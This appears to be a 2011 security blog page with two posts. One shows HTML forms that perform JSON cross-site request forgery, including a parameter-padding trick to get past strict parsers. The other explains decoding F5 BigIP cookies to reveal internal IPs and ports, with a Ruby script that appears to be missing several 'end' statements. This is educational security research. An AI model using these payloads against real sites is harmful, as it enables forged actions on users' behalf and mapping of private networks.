Thursday, December 22, 2011

JSON CSRF with Parameter Padding

JavaScript Object Notation (JSON) format is one of the prominent data exchange formats of the contemporary web applications. When a web application implements JSON, Cross Site Request Forgery (CSRF) payload delivery gets bit tricky because of query string and JSON format mismatch. With couple of tricks however, we can successfully execute CSRF attacks with JSON payloads.

Let’s assume that the browser sends the following JSON to the web server.

Scenario 1: One of the mechanisms to execute JSON CSRF is to use the entire JSON payload as parameter name in a self submitting form. For example, loading the HTML code below and clicking the submit button sends malicious JSON to the web server:
  1. <html>
  2. <form action= method=post enctype="text/plain" >
  3. <input name='{"a":1,"b":{"c":3}}' type='hidden'>
  4. <input type=submit>
  5. </form>
  6. </html>

At line# 2, the enctype form attribute is set to text/plain so that the JSON gets delivered as is. The enctype attribute may not be required, but is good to have. At line# 3, entire JSON payload is provided as a parameter name. When the form gets posted, the payload is delivered and CSRF executes.

Image below shows JSON payload delivery with the technique described above.

This technique may fail in some cases when the server side JSON parsers reject the incoming JSON because of the trailing ‘=’ character.

Scenario 2: JSON Parameter Padding to the rescue
In scenario 1, the trailing ‘=’ character may ruin the party when server side JSON parsers enforce strict parsing rules. To overcome this, an additional parameter can be padded towards the end of JSON payload to send a well formed JSON. Similar to GET & POST parameter processing, JSON parsers will successfully parse the JSON, pick the required parameters and ignore the extraneous ones. This allows a successful CSRF attack against vulnerable web applications. 

Below, the HTML code in scenario 1 is modified to add an extraneous parameter to the JSON payload:
  1. <html>
  2. <form action= method=post enctype="text/plain" >
  3. <input name='{"a":1,"b":{"c":3}, "ignore_me":"' value='test"}'type='hidden'>
  4. <input type=submit>
  5. </form>
  6. </html>

At line# 3, the component in red is the original JSON and the blue component helps add the extraneous parameter to the JSON payload. The screenshot below shows the JSON payload delivered when the above HTML is executed. The ignore_me parameter absorbs the trailing '=' character and has a value "=test". 

The end result, successful server side JSON Parsing and CSRF goodness :)

Image shows a well formed JSON sent using parameter padding

It is important to note that the discussed attack vectors may not work if the server validates the “Content-Type” request header to represent a JSON payload.

Sunday, December 18, 2011

Decoding BigIP Cookie

BigIP cookie contains internal network IP and port information in encoded format. When decoded, these cookies can help create an internal network map with potential web server IPs and their ports.

F5 has described the encoding algorithm here. It works like this:
  1. If the IP address is a.b.c.d, it is encoded as d*256^3 + c*256^2 + b*256 +a
  2. To encode the port is to take the two bytes that store the port and reverse them. Thus, port 80 becomes 80 * 256 + 0 = 20480. Port 1433 (instead of 5 * 256 + 153) becomes 153 * 256 + 5 = 39173.
  3. These values are combined into cookie as <Encoded IP Address>.<Encoded Port Address>.<Componenet we are not concerned about>
These decoding mechanisms are packed into the following ruby script:
#Cookie: BIGipcookie => 404007104.20480.0000
#Cookie: BIGipcookie => 404007104.39173.0000
if (ARGV.length == 0)
  $stderr.puts "No input provided. Run as \n\tbigip.rb BigIP Cookie Value"
ips = ARGV[0].split(".") 
encoded_val = ips[0].to_i
port_val = ips[1].to_i
ip = []
port = []
4.times do
  ip << encoded_val%256
  encoded_val /= 256
2.times do 
  port << port_val%256
  port_val /= 256
puts "IP Address : #{ip.join(".")}"
puts "Port       : #{port[0]*256 + port[1]}"

A Sample bigip.rb run